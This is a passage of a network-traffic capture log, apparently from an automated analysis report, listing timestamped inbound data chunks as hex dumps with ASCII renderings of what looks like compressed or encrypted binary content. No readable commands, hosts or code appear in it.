a6 3b 00 ea 8e 02 94 b8 97 bc 49 99 5a 8d 1b 88 2b 08 d1 4b f1 6c b2 15 ac 3c 62 a2 ee 9e ac d9 5c dc 69 67 6f af b9 9f 71 Data Ascii: _ZWd&xh3nrcg(t{t55/rDgS=Ja\}Yw~'s!2Wj&"0ki#GCWh`HT7^9~<t?hZ@}5a6Q%7O#!)uBLzH=47B09G;IZ+Kl<b\igoq
2023-02-21 06:06:04 UTC	68	IN	Data Raw: 74 03 ee 67 08 a0 1b 53 e7 83 a7 47 d9 fe b5 98 78 2f fe ad 03 8e df a2 8b af 03 51 be bb 57 7e e1 4f 67 72 f4 5b d1 ee 2c 57 33 59 08 06 f2 0c 9f c5 e4 b3 55 c0 8b d6 57 05 e5 03 3e bd 5b 53 33 d1 63 96 6e f0 8f ba ba eb 74 65 35 70 f9 2a e9 1a d4 55 4b 4c ed 7a 2e e8 a5 40 b2 e4 73 ad 9d 31 15 fd 9d 82 69 86 ed 0f 3f 07 0f 6f 7c 1e dc d4 19 ac 9b 3c 8e 3c bd 46 70 ca e7 a4 c8 35 79 1e 2e 5e 87 d4 51 44 ec 94 d7 17 5d 61 ea f1 7c 52 39 53 91 60 24 28 68 a0 d6 77 be 61 a4 05 89 e1 20 89 5b 9f 68 ab 95 87 f6 35 a3 c0 7d 9f 01 ed 8e cf 88 96 eb d3 55 32 7d 6f 2c 1d 98 56 31 8b 7b 00 11 17 ac 9d 19 a5 de 07 12 3d 2c f1 aa 82 9f 13 a7 23 b2 07 6d b5 6a 96 1d e0 df 7d 5f 77 76 31 f1 3d 62 e4 47 cc 38 bb 0b ba d0 28 b2 3b 49 5c 0f 12 67 2a b3 bb e2 e5 77 e1 83 Data Ascii: tgSGx/QW~Ogr[,W3YUW>[S3cnte5pUKLz.@s1i?o\|<<Fp5y.^QD]a\|R9S`$(hwa [h5}U2}o,V1{=,#mj}_wv1=bG8(;I\gw
2023-02-21 06:06:04 UTC	73	IN	Data Raw: 58 09 9c a6 1b 65 bd 4d 36 48 fb 27 fc 2c f0 d9 9d 6d d8 a5 44 13 cb cc 92 f5 58 c0 4d 0e eb 7c 70 90 7d a9 af f3 97 3d be bd 3e c9 89 dc 71 2f 5c 39 ed 3c 01 9a a1 60 e3 23 18 66 8b a8 0c 86 33 7c 14 9f 53 61 6d 00 8f 45 a4 0c 6d 21 52 3b 41 cb a6 7a 1f a3 5c 53 ca bc 33 03 24 0d b9 8a 5e f4 6d 47 e1 78 06 cc 1d e4 f3 7c bf c7 33 7b 0b a3 6b 1c 97 69 eb 78 47 1e ba 29 d9 5c 55 75 47 24 41 40 fb 8c 14 31 07 c7 d5 c2 42 b1 09 e7 fa b5 e0 3e e1 29 bc 68 43 58 e1 77 04 26 74 53 99 e9 83 ef f5 f9 1b 6e f3 27 f8 39 bb ef e0 78 e6 eb 8a 37 e8 d9 f0 cf 47 30 c0 fe a1 8a 31 58 32 fb 01 99 7d dd e7 65 45 b8 76 1f 61 2e da 5a 86 f6 24 22 38 3a 4d f7 41 d4 06 f8 7a cf f9 9f 75 0d 5b 6c ed e8 ee 01 38 77 a1 d1 30 57 55 c1 55 55 bf ae 95 ab 59 a4 fb a1 d2 ad aa f5 0c Data Ascii: XeM6H',mDXM\|p}=>q/\9<`#f3\|SamEm!R;Az\S3$^mGx\|3{kixG)\UuG$A@1B>)hCXw&tSn'9x7G01X2}eEva.Z$"8:MAzu[l8w0WUUUY
2023-02-21 06:06:04 UTC	77	IN	Data Raw: bd 04 77 84 f4 6e fe 40 39 cb 49 d2 c9 fc 91 42 ee 4a 87 86 76 d2 e3 f2 49 97 76 d2 e3 8a 49 b3 e1 ca 49 75 20 1f e9 2e 50 35 e9 e1 4e fa 19 02 a4 57 e1 6a 41 ce 13 50 64 76 83 0a 4c 49 c1 f4 94 22 33 6b 94 d3 f3 ac 82 32 f9 de 6b 49 17 17 e8 5d 50 47 ba a6 60 b2 9c 73 25 69 69 c1 34 9d a5 51 ff f9 9c be 33 95 9c a7 aa c8 8c 3d 4b 49 76 ee 5d 46 98 ee a6 48 7f fb 2d f7 ee 93 dd ca 3c dd 4d d9 02 e7 4e de d1 6d a8 90 8f 2e de ad c9 dd c3 54 d3 ed eb b6 43 c8 77 93 e3 fe 2c ae a7 a9 be c9 71 9f 89 eb 69 a6 2e 74 dc df c4 15 9b b9 0b 1d 77 5c 5c b1 09 dd ec b8 94 a2 26 b7 d7 ac bf d9 71 1d 8a 76 08 85 16 39 ae 8b b8 5e 66 fd 22 c7 95 88 eb 65 56 2e 76 dc 29 e2 7a 9b 86 c5 8e 1b 29 ae b7 d9 b4 c4 71 67 17 5d e8 29 31 5b 97 38 ae ba e8 62 a1 dd 74 97 8b eb 63 Data Ascii: wn@9IBJvIvIIu .P5NWjAPdvLI"3k2kI]PG`s%ii4Q3=KIv]FH-<MNm.TCw,qi.tw\\&qv9^f"eV.v)z)qg])1[8btc
2023-02-21 06:06:04 UTC	81	IN	Data Raw: 75 02 2d 20 f5 07 85 40 ce 9a 5d ae 5e a6 e4 ac d9 65 e6 07 29 59 33 b5 7a 84 f9 c4 e0 5f f3 34 ce 9a fd 13 53 3e db f9 79 ab 6b f6 4f 8c 8f 4e d7 ec 9f 9a 6a 3a 5d b3 7f 6a 02 74 ba 66 ff ab a9 a5 d3 35 fb 5f cd 4a 3a 5d b3 27 4c 03 9d ae d9 13 66 f3 1c c7 e9 9a 3d 69 b6 cf 71 9c ae d9 93 66 e7 b5 8e d3 35 fb 67 a6 e5 5a c7 e9 9a fd 33 73 72 ae e3 74 cd fe b9 c9 9c e7 38 5d b3 7f 6e 0a e7 3b 4e d7 ec 87 4c e9 7c c7 e9 9a fd 90 29 be ce 71 ba 66 ff c2 94 5f c7 b5 8d b8 2f 4c 45 ad e3 74 cd fe a5 a9 aa 75 9c ae d9 bf 34 35 74 ba 66 ff ca cc a2 d3 35 fb 57 66 11 dd 35 d5 53 3c 6d a6 9e ee 86 ea 80 d0 46 ba 65 d5 d7 78 0e 9b 46 ba fa ea 79 42 bb e9 74 cd fe b5 d9 47 a7 6b f6 af 4d 82 4e d7 ec df 98 a3 74 ba 66 ff c6 b8 af 77 9c ae d9 8f 98 fc eb 1d a7 6b f6 Data Ascii: u- @]^e)Y3z_4S>ykONj:]jtf5_J:]'Lf=iqf5gZ3srt8]n;NL\|)qf_/LEtu45tf5Wf5S<mFexFyBtGkMNtfwk
2023-02-21 06:06:04 UTC	85	IN	Data Raw: 0c e4 ec 1f 64 e6 87 28 59 73 68 d9 08 f3 88 2d ac 53 72 f6 0f 8f d8 d2 3a e7 e7 ad ee 1f 1e b1 15 74 ba 66 df 6c ab e8 74 cd be d9 4e a5 d3 35 fb a3 76 2e 9d ae d9 1f b5 21 3a 5d b3 3f 66 d7 d3 e9 9a fd 31 bb 76 99 e3 74 cd fe b8 dd b4 cc 71 ba 66 7f dc b6 2e 77 9c ae d9 1b 6d 62 b9 e3 74 cd de 68 0f dd e2 38 5d b3 6f b1 c7 6e 71 9c ae d9 b7 d8 fc b0 e3 74 cd fe 84 2d 09 3b 4e d7 ec 4f d8 d2 5b 1d a7 6b f6 27 6d c5 ad 5c 87 88 7b d2 4e 5a e1 38 5d b3 6f b5 33 56 38 4e d7 ec 5b ed 02 3a 5d b3 3f 65 57 d2 e9 9a fd 29 db 40 f7 dd b2 29 9e 6d 76 33 dd 89 65 01 a1 ed 74 ed 96 5f e3 79 da ee a1 cb 5e 3e 4f 68 3f 9d ae d9 9b ec 21 3a 5d b3 37 d9 63 74 ba 66 7f c6 ba 57 3a 4e d7 ec cf d8 c2 95 8e d3 35 fb b3 b6 94 4e d7 ec cf da 4a 3a 5d b3 3f 67 c7 d1 e9 9a fd Data Ascii: d(Ysh-Sr:tfltN5v.!:]?f1vtqf.wmbth8]onqt-;NO[k'm\{NZ8]o3V8N[:]?eW)@)mv3et_y^>Oh?!:]7ctfW:N5NJ:]?g
2023-02-21 06:06:04 UTC	89	IN	Data Raw: bc 6c eb dd e5 43 db 9f 87 9f 56 b0 7e 54 02 c8 20 2a c1 3c fc fc 42 25 84 0c a3 1e 66 5b ef b7 08 da 51 69 f7 cc 8b b2 8d f1 a3 1d 97 fa d8 bc 38 2a 71 54 12 c8 24 53 be 85 bc 24 ac c9 c7 f8 f3 9b 3d 35 79 36 1f e3 47 a5 18 e9 65 e2 53 48 9f e9 79 3e 54 fc cc 66 cf dc 3c 3f 6c 00 95 20 da 41 a9 2f cc 0b a2 12 42 86 99 f2 f3 22 2f 8c 3e 11 54 a2 cc 66 cf 9a bc 28 ea 31 54 e2 4c 3c 23 a8 27 50 49 32 71 e7 e4 eb f3 62 3a 61 fc 4c 3c 2f 9d d4 16 a3 e2 45 db cb b6 fe 44 f3 a1 ed 67 ea 4f 34 3f fa 04 50 09 76 d2 9f 68 41 54 82 a8 84 90 61 a6 fe 74 0b c3 46 50 89 21 13 48 53 80 79 43 fa 90 7e a6 3e 95 fe 02 5c 05 95 20 da c1 02 7d 36 83 a8 84 90 e1 02 7d 1e c3 b0 61 54 22 c8 28 53 9f d3 28 6c 0c 95 38 13 df 72 81 3e ad 09 54 92 05 fa b4 26 d9 c6 b7 dc 19 f3 c3 Data Ascii: lCV~T <B%f[Qi8qT$S$=5y6GeSHy>Tf<?l A/B"/>Tf(1TL<#'PI2qb:aL</EDgO4?PvhATatFP!HSyC~>\ }6}aT"(S(l8r>T&
2023-02-21 06:06:04 UTC	93	IN	Data Raw: 39 fe 6b f0 3a 37 f0 da 2b 29 3c f7 0d f0 78 a6 1b 58 e0 71 37 b0 84 2f 47 ae e0 2b 90 0a 7c 15 ee bf 87 67 50 eb c8 0e bc 1e 5e 8d fa 80 ec c0 1b a0 87 fa 2f 23 3b f0 2c f4 51 7f 2d b2 03 06 0c 51 7f 1d b2 03 16 8c 51 9b c8 0e 7c 1b 90 a8 df 85 ec c0 df 80 d7 a0 7e 37 b2 03 7f 13 ef e5 06 de 83 ec c0 df c2 79 fe 06 de 8b ec c0 77 e0 dd dd c0 b7 23 3b f0 9d 40 a3 7e 1f b2 03 df 0d 2c ea ef 42 76 e0 6f 03 87 fa 7b 90 1d f8 5e ac c7 0d bc 1f d9 c1 08 61 89 fa fb 90 1d f8 7b 20 a0 fe 20 b2 03 3f 00 22 ea ef 47 76 e0 ef 83 8c fa 43 c8 0e fc 10 a8 a8 7f 10 d9 81 7f 00 5b d4 3f 8c ec c0 8f 82 86 fa 47 90 1d f8 71 6c 89 1b f8 31 64 07 fe 21 b6 c4 0d fc 04 b2 03 ff 08 5b e2 06 3e 8c ec c0 3f c6 96 b8 81 8f 20 3b f0 93 d8 12 37 f0 51 64 07 7e 1a 5b e2 06 7e 0a d9 Data Ascii: 9k:7+)<xXq7/G+\|gP^/#;,Q-QQ\|~7yw#;@~,Bvo{^a{ ?"GvC[?Gql1d![>? ;7Qd~[~
2023-02-21 06:06:04 UTC	97	IN	Data Raw: c6 26 5b 52 a0 ce f4 3c 80 ad 4b 24 ea 40 1e 68 21 f6 e1 f8 e0 9c 65 68 c2 9d a5 e6 5a 42 0a 07 4f 92 f9 c2 12 40 34 18 72 a0 0f 4b 93 81 05 69 92 75 48 ad fd d9 c9 b6 c3 e4 80 ee cb d4 46 47 77 cf 99 e3 66 19 a8 e7 38 4d 83 3e c8 f1 36 ee 8d b9 c1 5a ea c9 db dd 34 57 82 09 98 c7 64 e3 74 39 7d 3a 38 79 e3 d4 f7 8f 9a 0b 9c 3d 18 f3 2d 47 4e 88 43 34 a5 f5 c3 98 30 71 14 f6 c9 24 d5 5d 25 85 76 47 fa 7c c3 31 de 6e 77 9c ca 4e 8f 72 02 e0 87 8d b4 de 72 44 32 d6 ce e7 e5 c0 0a 0c 13 a8 e1 91 1b 4e b8 23 13 8d f4 92 65 f2 f3 f6 80 2d 57 3a 35 3a 9b 98 18 37 ae dd 4c d4 04 ea 98 ac da fe 94 aa e1 f1 f8 15 8c 04 c7 50 fe 34 78 bf dd 5c c0 a9 47 4e f7 d9 54 3c 01 8d 13 7e 95 e3 a0 75 d3 c7 bb 71 51 6a e2 78 7f 74 1b 51 f1 eb f8 48 74 b5 93 38 1e cd c8 2d 71 Data Ascii: &[R<K$@h!ehZBO@4rKiuHFGwf8M>6Z4Wdt9}:8y=-GNC40q$]%vG\|1nwNrrD2N#e-W:5:7LP4x\GNT<~uqQjxtQHt8-q
2023-02-21 06:06:04 UTC	100	IN	Data Raw: a1 47 b5 c3 6c e0 c9 fd 21 64 b9 13 2e 38 7d 3b 61 81 4b fc d0 a7 bc 2c 50 21 ef 0d 43 77 13 1a 7a 85 79 6f 1c 72 43 97 e1 28 30 d3 79 38 d9 ca cc 9e 04 a1 71 42 92 5d 89 fd 16 1c c2 0f 43 bd 6f 9f ba d8 01 74 58 71 81 ae f4 e1 51 e6 85 db fe c1 8f 6a 90 b8 43 b8 2c 0f 71 ea c2 ae 76 c3 63 32 da ad c7 70 6e 8c f0 2c 1b 2d 33 06 af 35 c2 41 a5 af d7 1b 98 da db 70 36 23 2c e9 08 8b e5 3a dc 29 a7 f5 b8 0f 6e bc 0c f9 b1 a1 4a 2e 24 32 11 12 52 e0 17 33 88 f5 41 d8 d8 d2 aa e5 c0 9e f5 c2 d5 7a 21 4b 31 78 d3 09 4d 9f e6 21 86 e5 98 4a c9 db bd db e0 c4 b3 c5 3c 25 f5 6c d0 c4 ac b7 4e 94 05 89 b7 6d 2a 13 d5 3f 60 80 84 5e 67 7d 71 89 f6 10 03 89 89 b3 1e e1 f9 b4 d8 58 55 da ea f1 34 13 c7 98 9d 3f 9e b5 af 41 3f 1d 39 46 7e f1 ae ac 7d e7 a2 24 e3 f2 e8 Data Ascii: Gl!d.8};aK,P!CwzyorC(0y8qB]CotXqQjC,qvc2pn,-35Ap6#,:)nJ.$2R3Az!K1xM!J<%lNm*?`^g}qXU4?A?9F~}$
2023-02-21 06:06:04 UTC	105	IN	Data Raw: 59 09 3f 5c 74 3d b7 6f 68 4b 6a 40 82 aa 73 03 c9 e6 5d 65 78 a8 e7 dc 7e bc 95 30 1e 09 98 d1 38 e0 d3 55 d7 14 c4 c9 34 98 77 35 f0 d7 6d bd 27 f9 47 3e 5d 30 13 a7 50 d6 8c 00 ba 2c 5b 5a 2b e6 a2 ae 7b 52 5e 91 27 4d 07 c9 d3 d3 a1 27 b6 ae 7d ac 17 f4 69 11 46 43 08 f5 74 37 f4 45 67 80 cd 30 e8 26 64 bf 5f c2 aa e4 86 be 26 f2 0b ea dc 1b e1 cc 65 6d d6 10 53 b2 83 fb 89 22 3f 5b 14 f2 49 13 8c 01 b0 5d ef a0 1f 45 65 d9 ed 6d 57 d6 72 a4 b6 2d f8 63 83 b3 65 d1 2b 84 dd 3e cd b8 76 86 7d 99 19 64 ee c9 62 a1 13 8a e7 10 eb e3 39 b6 a0 76 9a f9 e4 20 9e 17 f6 5c 1f 65 31 95 95 15 ac dc 41 6a d1 e2 64 de 0d f3 ea 10 bb f6 78 0c f1 2e 32 4f b2 68 94 9b b3 a2 b1 4a b4 36 30 8c 1a cb 9b bd 28 ce b6 33 35 d6 76 e3 b0 9c a7 b0 cd 4d 72 2c 88 82 bc a7 e9 Data Ascii: Y?\t=ohKj@s]ex~08U4w5m'G>]0P,[Z+{R^'M'}iFCt7Eg0&d_&emS"?[I]EemWr-ce+>v}db9v \e1Ajdx.2OhJ60(35vMr,
2023-02-21 06:06:04 UTC	109	IN	Data Raw: 2a 60 97 a4 0d 77 c7 69 05 58 9d 92 4c b5 3d 2a d6 29 10 ac 79 79 1b 1a d4 f0 86 e0 ea 9e cd af 83 9c 67 1f 47 72 0e dc 4a d1 48 7c a7 ca 46 ab 60 4c 57 cd 4f 9b d4 a1 5c 53 6b e7 04 5a ab 33 d3 b2 b3 b3 00 01 ad c4 a7 bd c3 0d b7 54 a7 5c a8 88 b7 83 f3 e4 a3 5d da bb 2c e2 7f 5e 76 05 c9 ea 80 f7 9a ba 8f 2e 6f 96 e0 c9 d4 1b 8a 4a 41 c1 5d d6 1c fc ee c5 cf 81 b5 d1 ff 9c fc 18 40 97 c5 74 06 ef 4d ea 16 a1 21 0a 5c 1b 0d ff 7d 85 c7 ff bc a7 0e fd 1f 8f d8 ff 78 fc 9f f7 55 22 1f 85 0c ff 6b f7 88 ff eb b5 1c ff 8f df ff 37 02 7e 68 0a fd 35 f0 5f 83 fc 35 e8 5f 83 fd 35 f8 5f 43 fc cf 97 f8 3f af 3c f8 68 c5 f8 8d e3 82 80 b6 d9 e0 50 e9 27 bf 02 dc 84 c3 72 f7 09 47 00 1e 59 81 39 46 f4 0a 0a f4 79 04 b3 2c 35 d1 0e b0 ef 0d de 89 ec 97 30 40 a8 15 Data Ascii: `wiXL=)yygGrJH\|F`LWO\SkZ3T\],^v.oJA]@tM!\}xU"k7~h5_5_5_C?<hP'rGY9Fy,50@
2023-02-21 06:06:04 UTC	113	IN	Data Raw: 80 24 b2 f2 1e 4a 7a ee bb 92 da 2f 2e 6e 7e ab c6 e4 ac b5 9b 9e 56 25 6a fc c5 c5 e4 64 9f 9a fc 47 92 13 f2 94 d5 67 94 3d 98 83 c4 40 df 74 0b ce 62 51 bc ae 38 97 06 a4 74 97 f4 62 fa ba 62 72 6c 7b 51 21 d2 00 04 14 53 b0 33 2d a9 3e 2e ed 58 7e c2 97 05 92 81 6d d9 93 ca 04 2b cc 89 3f 90 f5 40 7c d8 ba 35 c9 96 9a 2a 86 66 66 4e 69 91 8e 00 96 eb 9e 50 4c 1d 62 0f 62 9c d5 37 04 11 40 dc 0f 68 57 a6 75 60 34 7a 9b 47 3f 25 71 3e 9c 9f 11 4a 4b 77 1f 2a e7 8d 36 8c ec 43 54 41 3d da 62 4b 1f 2e 0b 65 6a 2e ac 32 51 ff 96 e5 71 25 48 49 fb be bb 13 ff 69 30 4e 7e 71 c7 d7 8e 27 4d 77 8f 80 05 b4 d8 67 fc d3 1f 18 39 f3 26 15 ca df a4 ec 58 82 4a 8a 03 32 8c d8 db 34 d5 49 57 f5 d6 03 86 28 2b ff ea 55 23 68 24 3d 78 7f 76 95 66 59 8b 4e 04 b7 e1 0a Data Ascii: $Jz/.n~V%jdGg=@tbQ8tbbrl{Q!S3->.X~m+?@\|5ffNiPLbb7@hWu`4zG?%q>JKw6CTA=bK.ej.2Qq%HIi0N~q'Mwg9&XJ24IW(+U#h$=xvfYN
2023-02-21 06:06:04 UTC	117	IN	Data Raw: 9c 04 3a 8a be ab 79 b0 db fa fb 66 d8 53 f1 7e 07 9e 1e d3 6b f4 08 ec 51 b5 a8 4f cf 19 a1 03 4b b7 ee 6f 7e b4 86 d9 89 27 65 df 0f ad 80 22 2a 5c c6 39 72 6b 55 b2 22 59 aa b8 96 40 93 96 51 70 1e 63 26 8e 4b 88 f4 af 1c 8d e0 8c 59 7d b2 0f 24 d5 f8 94 09 7d fb 67 76 40 ce 3f 1b a1 0f c3 0e 31 af bc 23 36 93 6b b0 12 5d fd 4c 07 fe d3 05 ec a7 bd 09 b9 0a 60 49 df bf 45 c5 f7 6f 4d f1 fd 5b 88 7c ff 16 22 bf ce fe 1f df 97 f7 ff 58 e1 fc 7f 3e f7 bf ad 70 be 7f ab 99 ef df 6a e6 fb b7 90 f9 52 ff fb 71 ff 07 ef 1d c2 9a 72 cf ad 76 30 08 87 5f ca 1a 52 99 78 7f 5f ea 93 ee 1a ba 7f af e3 c8 50 4a a3 e9 8d 6a c0 68 e6 14 82 70 be 40 81 bd c0 a9 23 4a 55 c0 81 2d 85 d3 45 8f 1d 75 fa d2 66 95 8e 43 83 76 1a 50 6b 3a 7d 92 fb e2 04 60 45 43 9a b3 7a 28 Data Ascii: :yfS~kQOKo~'e"*\9rkU"Y@Qpc&KY}$}gv@?1#6k]L`IEoM[\|"X>pjRqrv0_Rx_PJjhp@#JU-EufCvPk:}`ECz(
2023-02-21 06:06:04 UTC	121	IN	Data Raw: b3 ad b1 c9 d1 a9 0e f5 9c 81 89 51 ee 18 ea 56 06 94 ee 0b 4c 3a 19 40 c6 1d 2a 8e 34 81 92 e1 37 6f 5b e3 87 8e ce cd 2c 1e 39 7a 60 8e b3 3d b7 b0 14 85 3b b8 d0 9a 55 9d 08 db 87 2a bc ae 35 4a 58 d8 bb 24 df 3a a2 7f a4 40 37 41 57 41 77 72 8c e8 f3 0e df 9f 68 ed 1f e3 49 ea c4 f1 07 4e 78 0b 87 b7 df 79 fc ce 23 0f de 72 ff 9e 3b 8f e4 17 a7 82 da cd 3b 17 b6 cf a9 df 0a 9e 77 f5 3f 5a b9 73 a2 b6 f7 e0 cc f1 dd 77 ee 3f 51 bb 6d fa 68 2b b9 ff 73 8f 2e b5 2a fe 7c b5 58 dd 77 f4 e6 c2 fd bb 9a 93 c9 fd eb 0b 47 6e ad e6 27 76 ec bf 63 6f 6d d7 ec 68 61 ff 2d a4 ff a1 b9 c9 85 a3 ad b9 d6 76 fc 39 e3 f9 64 64 3b fd db 8e cc 4c 8f df 7c cf dd f7 1f 3e 7e e7 a1 99 c2 cd c9 fd 8f 8f 1e d8 b9 73 aa ba f3 81 3b 0e e4 f7 1f 38 5c 1c 2b 75 10 ee e6 89 63 Data Ascii: QVL:@47o[,9z`=;U5JX$:@7AWAwrhINxy#r;;w?Zsw?Qmh+s.*\|XwGn'vcomha-v9dd;L\|>~s;8\+uc
2023-02-21 06:06:04 UTC	125	IN	Data Raw: df b5 cb 1e 57 36 1f e9 e3 ca b5 77 6b c6 95 96 63 a5 71 65 ef fa 02 3e 90 3c 3e 8b 56 0c 4a dd ef aa d8 f4 71 a7 0d 20 73 a1 6c dd f9 b0 89 1b 23 b5 db 79 bc 89 cd ed c3 50 5b 56 f7 c3 84 ff 6e 3c d9 d6 0d dd bf 4c da 5f 89 42 36 08 64 f2 0e b0 cb 1e 08 99 7d 37 3a 69 4f d7 7d ae db 69 4f 37 2b 15 f7 a9 6c ef a9 78 4e 88 5e 53 71 9d 88 66 a3 92 94 7b 57 1e 71 26 2d 88 38 3c 75 cc 1e 71 2e ce f1 bc 11 65 c6 7d 86 c0 90 67 25 51 67 52 a5 cf 42 a7 1b 45 9a 16 7c 21 bc ae 44 b3 26 56 dc 45 eb 76 fd 68 62 5b 2d cd da 9a e9 56 a7 ae 11 51 af f1 b4 a6 e3 46 c4 a4 67 58 ed 7c d1 1b fb d9 58 71 47 10 22 a3 ca b2 d9 cf c6 b6 3a f6 8b 6a 26 ed 7e a8 9d 1d 7b a5 53 13 2b ee a9 c0 ac 25 bb 4e 4d 6c ab a5 53 5b 33 74 8c 4f d6 69 ce 82 ec 8d 4e 4d ac a0 d3 82 92 37 bb Data Ascii: W6wkcqe><>VJq sl#yP[Vn<L_B6d}7:iO}iO7+lxN^Sqf{Wq&-8<uq.e}g%QgRBE\|!D&VEvhb[-VQFgX\|XqG":j&~{S+%NMlS[3tOiNM7
2023-02-21 06:06:04 UTC	129	IN	Data Raw: 81 05 6b 1b 4e dc 45 82 1b ac 08 7a cb ab be 85 f0 8a 3c 36 2d 3c c2 73 dc 59 02 9f d5 01 0e 73 21 a6 9c b2 8a 39 aa 96 d5 ee 19 c0 14 63 60 bc 04 98 52 0c 4c ce 01 03 d2 94 8c 11 53 7b af b6 0c da d8 b6 2b ed d3 ce 10 a9 d4 f2 38 ef 13 3c 15 18 8d 34 4d 13 c7 7a 88 cc 62 6a 3a 74 24 17 e5 bc 9a 77 00 a7 4d eb 4a 2d 5c b2 c6 20 c4 08 be 64 c6 3d d4 b9 e6 bd 7a a5 a0 e3 0e bd c3 9c f7 c3 ec b2 16 e6 18 c8 06 7a 76 69 ff e2 37 5a d5 1c 0d 21 7f 94 98 99 f9 f1 5a 60 a8 31 5c 27 56 2c 68 88 72 ed 5d 20 5f 95 d1 2c 88 59 ce 96 b5 28 db 0b 86 ac 18 83 7a 7c c7 73 00 d1 13 bd 0e 65 71 cf 6f 69 ee a1 ef 09 28 58 92 61 8f aa d5 a3 1a 72 4d 57 2e f4 9b 6f b6 87 61 8f b2 d5 a3 2e af 7a 8c 28 59 36 89 1b db cc 27 0d a8 6d 31 5a b5 84 a5 48 66 77 47 1b 9e f4 e2 5c 33 Data Ascii: kNEz<6-<sYs!9c`RLS{+8<4Mzbj:t$wMJ-\ d=zzvi7Z!Z`1\'V,hr] _,Y(z\|seqoi(XarMW.oa.z(Y6'm1ZHfwG\3
2023-02-21 06:06:04 UTC	132	IN	Data Raw: 48 3b 9e a1 17 25 8e 0a c1 11 bf 96 d0 bf c7 a4 e5 a6 f8 69 7b 2d 9c cd 82 ef 69 ba ba 0f 9e ff d2 f9 7a 9b f8 17 ce 29 4a b2 6f 95 e0 d0 7d 4a 46 de cc 3b fb e0 f7 2b 9a 4c 8f 57 39 a6 65 75 af 1b 68 7e d5 f6 c6 fd 6d 9b 06 5d db c5 f5 c9 13 9b d3 3e c8 07 c6 74 8e e9 71 cf 6c 6f 84 72 f8 06 bc a6 51 33 c6 94 02 e9 e3 f6 43 3a 4e e3 ba 02 a2 1e 60 45 cf 92 e1 1f 54 af 3a de 8a c4 c6 98 bf 20 26 c0 57 f3 4c e7 52 da 47 c0 e2 dc a6 29 eb 73 61 9f 42 0c cf f6 ba 41 f4 a5 df b0 c6 73 0c d4 cd b0 c4 8b e7 9b a0 b7 40 b6 35 94 cf e1 19 62 21 e4 55 3f 23 8c 73 fc a6 a3 ad 6a d8 c5 dc 93 c6 f3 96 a2 a3 0d e0 f0 7b 4b b4 0d 9f 6b 75 b7 c5 c3 f9 09 f4 fc 10 2e ca 67 90 40 2f 48 a0 57 50 70 4d 87 ce 0a 0c cf 83 f5 73 f0 d8 56 54 70 18 87 3e d3 fb 4a 2e 1b a1 2d 31 Data Ascii: H;%i{-iz)Jo}JF;+LW9euh~m]>tqlorQ3C:N`ET: &WLRG)saBAs@5b!U?#sj{Kku.g@/HWPpMsVTp>J.-1
2023-02-21 06:06:04 UTC	137	IN	Data Raw: 18 ac 75 4c bd 6b bd 24 e7 b1 f4 76 47 fd e7 8d fa 28 5e 3f e4 4b e8 a1 6d f0 ab e3 25 8a c7 b4 ab 4d df f6 03 cd 77 c3 e8 8f 72 65 f3 9f 61 86 f3 b7 68 5c 36 0d f8 68 9e cf 87 f2 d2 7c 60 b6 47 ed ad ef ed f1 02 fd a5 d8 a5 1c 30 df ef 6d fc 03 85 6e f0 fa 1d fc 4b af 07 7c 0b be 64 c8 e9 9e c7 01 5f 30 af 45 bc f6 fc d0 86 b3 e3 b9 60 d0 b1 d7 83 f6 7c d0 b6 67 10 f1 7f a4 87 7c 14 18 9d 67 da 7a b3 c7 a5 e8 3c 01 d6 59 59 f5 1e cd c7 6e fd 43 3e 01 3a 45 22 8f b9 9e a5 7c da f3 24 5c 7f 74 f2 1f 90 3f 8a 3f 67 f5 b7 d7 23 9e 82 cb 26 bf f6 ab 6e f2 3a d0 05 bf 4a ce e3 5a 7e 13 5f 5c fe 36 f9 d4 f2 75 a2 d3 ed 78 a1 fd 29 3a 4e 15 53 d0 d5 7a cc a2 7f c0 df 4c 01 17 f5 53 77 fc eb 3c 68 c7 73 60 c1 eb f1 c7 33 e8 67 5b 37 46 ed ea d6 8f 6f ad b3 cc 7c Data Ascii: uLk$vG(^?Km%Mwreah\6h\|`G0mnK\|d_0E`\|g\|gz<YYnC>:E"\|$\t??g#&n:JZ~_\6ux):NSzLSw<hs`3g[7Fo\|
2023-02-21 06:06:04 UTC	141	IN	Data Raw: 98 97 10 6f 3d 1b fa 8a 6f e3 20 1c cf 12 db 20 3b b7 a4 ab 4c f0 ab 88 c4 39 e9 16 3c ae 2f af 2a a7 80 b8 74 e6 e1 10 2f c7 56 36 75 95 21 1f 5c 68 42 86 b1 79 c9 01 39 ae 4d 2b 3f 58 e4 75 87 a5 76 87 09 65 3e 22 6d aa c9 30 80 b9 c4 92 6c ad 31 31 ea c9 f2 c5 62 5e 3b 2e 7d 4a 8c fb 84 fb 4b 4c 09 cd 1c 0c f8 4b 84 92 98 ff c5 41 60 ff 82 94 46 5b 63 28 b4 06 3b 77 1f d7 46 38 12 5c 20 ee 22 d9 49 61 e1 79 e8 a0 5b 27 2b ca 95 17 c7 e9 93 9d ad 79 63 cf 40 af 18 91 5e 31 42 bc 82 ea 2e de 77 50 8a b2 1c 87 90 e2 88 41 31 2a b3 d0 ae 69 47 d2 e7 7a b7 36 e2 67 17 26 26 56 ec 4e 9b 6c 0b fa 51 94 5f 11 49 d8 2a 34 eb b2 39 b7 f3 26 d3 fb b4 67 89 d1 dd 6c 63 3b bb e3 32 32 0b 39 f5 d5 b8 84 ec 26 20 12 b3 76 00 4c 58 4d 69 50 21 14 4e 4b b1 e5 a0 1c 89 Data Ascii: o=o ;L9</t/V6u!\hBy9M+?Xuve>"m0l11b^;.}JKLKA`F[c(;wF8\ "Iay['+yc@^1B.wPA1iGz6g&&VNlQ_I*49&glc;229& vLXMiP!NK
